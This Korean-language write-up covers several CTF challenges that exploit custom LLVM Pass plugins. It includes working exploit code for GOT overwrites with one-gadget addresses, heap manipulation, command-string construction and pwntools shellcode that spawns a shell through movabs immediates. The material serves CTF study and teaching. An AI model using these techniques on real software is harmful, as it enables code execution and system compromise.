LLVM Pass 및 Pwn 기법 분석
LLVM Pass를 활용한 취약점 공격 방법을 다루며, 이를 통해 프로그램의 내부 구조와 동작 원리를 이해하고 공격 전략을 수립하는 방법을 설명합니다.
환경 설정
LLVM Pass 개발 시 자주 발생하는 문제로는 .so 파일 로드 실패가 있습니다. 이 문제는 LLVMHello.so: cannot open shared object file과 같은 오류 메시지로 나타납니다. 이를 해결하려면 절대 경로를 명시하거나 .bashrc 또는 .zshrc에 다음 환경 변수를 추가하면 됩니다:
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:.
하지만 이 설정은 현재 디렉토리에 있는 glibc의 .so 파일이 우선 로드되도록 하여 Segmentation Fault를 일으킬 수 있으므로 주의해야 합니다. 이를 방지하기 위해 별도의 alias를 설정할 수 있습니다:
alias llvm-ld="export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:."
alias llvm-rd="unset LD_LIBRARY_PATH"
LLVM Pass 관련 명령어
다음은 LLVM Pass 작업에 사용되는 일반적인 명령어입니다:
- 중간 언어(.ll) 파일 생성:
clang-8 -emit-llvm -S exp.c -o exp.ll - Pass 적용:
./opt-8 -load ./VMPass.so -VMPass ./exp.ll - 디버깅 시 파라미터 설정:
set args -load VMPass.so -VMPass exp.ll - PassManager 초기화 점검:
llvm::Pass::preparePassManager
명령어를 사용하여 함수 이름을 검색할 때는 Alt+T 단축키를 활용하며, /usr/include/llvm-xx/llvm/IR/Instruction.def에서 지시자에 해당하는 인코딩 번호를 확인할 수 있습니다.
2021 Red Hat Cup - simpleVM 분석
프로그램 분석
sub_6830 함수는 runOnFunction을 재정의한 부분으로, 함수 이름이 o0o0o0o0인지 확인합니다. 이후 기본 블록과 각 블록의 기능을 분석하며, llvm::CallBase 추상 클래스를 통해 호출된 함수의 특성을 파악합니다.
주요 메소드
getCalledFunction: 직접 호출된 함수 포인터 반환.isIndirectCall: 간접 호출 여부 확인.getCalledValue: 호출된 값 반환.getNumArgOperands: 매개변수 개수 확인.getArgOperand: 특정 인덱스의 매개변수 값 가져오기.setArgOperand: 특정 인덱스의 매개변수 값을 설정.
취약점 및 공격 방법
load와 store 함수는 임의 주소 읽기/쓰기를 허용합니다. 이를 이용해 llvm::legacy::PassManager::~PassManager()의 GOT(GLOBAL OFFSET TABLE) 항목을 one-gadget으로 대체할 수 있습니다.
예제 코드
void add(int reg, long value);
void load(int reg);
void min(int reg, long value);
void store(int reg);
void exploit() {
add(1, 0x77E100); // GOT 주소 설정
load(1); // 주소 값 로드
min(2, 0x9a6d0); // free 함수 오프셋 계산
add(2, 0xe3afe); // one-gadget 주소 계산
add(1, 0x870); // PassManager GOT 오프셋 설정
store(1); // GOT 수정
}
CISCN 2021 - satool 분석
프로그램 분석
save, stealkey, fakekey, run 등 네 가지 함수 중 run 함수가 취약점을 노출합니다. 이를 통해 힙 상의 데이터를 조작하고, 최종적으로 one-gadget 주소를 심어 실행할 수 있습니다.
공격 전략
두 번째 save 호출 시 첫 번째 매개변수를 비워두고, stealkey와 fakekey를 조합하여 데이터를 조작합니다. 이를 통해 필요한 오프셋을 계산하고 one-gadget 주소를 삽입합니다.
예제 코드
void save(const char* a, const char* b);
void stealkey();
void fakekey(long offset);
void run();
void exploit() {
save("chunk", "data"); // 첫 번째 chunk 생성
save("", "data"); // 두 번째 chunk 생성 (첫 번째 매개변수 비움)
stealkey(); // key 값 할당
fakekey(-0x1ecbf0 + 0xe3afe); // 오프셋 계산 및 조작
run(); // 조작된 데이터 실행
}
강넷컵 2022 - yakagame 분석
프로그램 분석
fight 함수는 BSS 영역의 점수를 조작하며, merge, destroy, upgrade 등은 무관한 함수들입니다. 특히, 입력된 문자열을 변환하여 cat flag 명령어를 생성하는 로직이 핵심입니다.
공격 전략
Red-Black Tree와 Iterator를 사용한 복잡한 처리 과정을 분석하여 취약점을 발견합니다. weaponlist 배열의 타입이 char인 점을 악용해 cmd와 score를 조작할 수 있습니다.
예제 코드
void fight(int weapon);
void trunk(int x);
void exploit() {
for (int i = 0; i < 256; ++i) trunk(i); // cmd 초기화
trunk(0xad); trunk(0xfd); trunk(0x6e); // 'sh' 문자열 구성
trunk(0); // 패딩
trunk(0x40); // score 조작
fight(0); // 실행
}
CISCN 2022 - satool 분석
프로그램 분석
handle 함수는 IR(Inmediate Representation)을 역방향으로 처리하며, 최종적으로 shellcode를 삽입할 수 있는 공간을 제공합니다.
취약점
프로그램은 최대 0xFF0 바이트까지만 검사하지만, 사용자는 0x1000 바이트까지 입력할 수 있습니다. 이를 통해 movabs rax, val 명령어에 shellcode를 삽입할 수 있습니다.
Shellcode 생성
from pwn import *
context(os='linux', arch='amd64')
shellcode = [
"mov edi, 0x68732f6e",
"shl rdi, 24",
"mov ebx, 0x69622f",
"add rdi, rbx",
"push rdi",
"pop rsi",
"xor rdx, rdx",
"mov al, 59",
"syscall"
]
for sc in shellcode:
print(u64(asm(sc).ljust(8, b'\x90') + b'\xEB\xEB'))
print(u16(b'\xEB\xE4')) # Jump instruction
예제 코드
define dso_local i64 @payload(i64 %0) {
%1 = add nsw i64 %0, 1024
; ... (반복)
ret i64 %n
}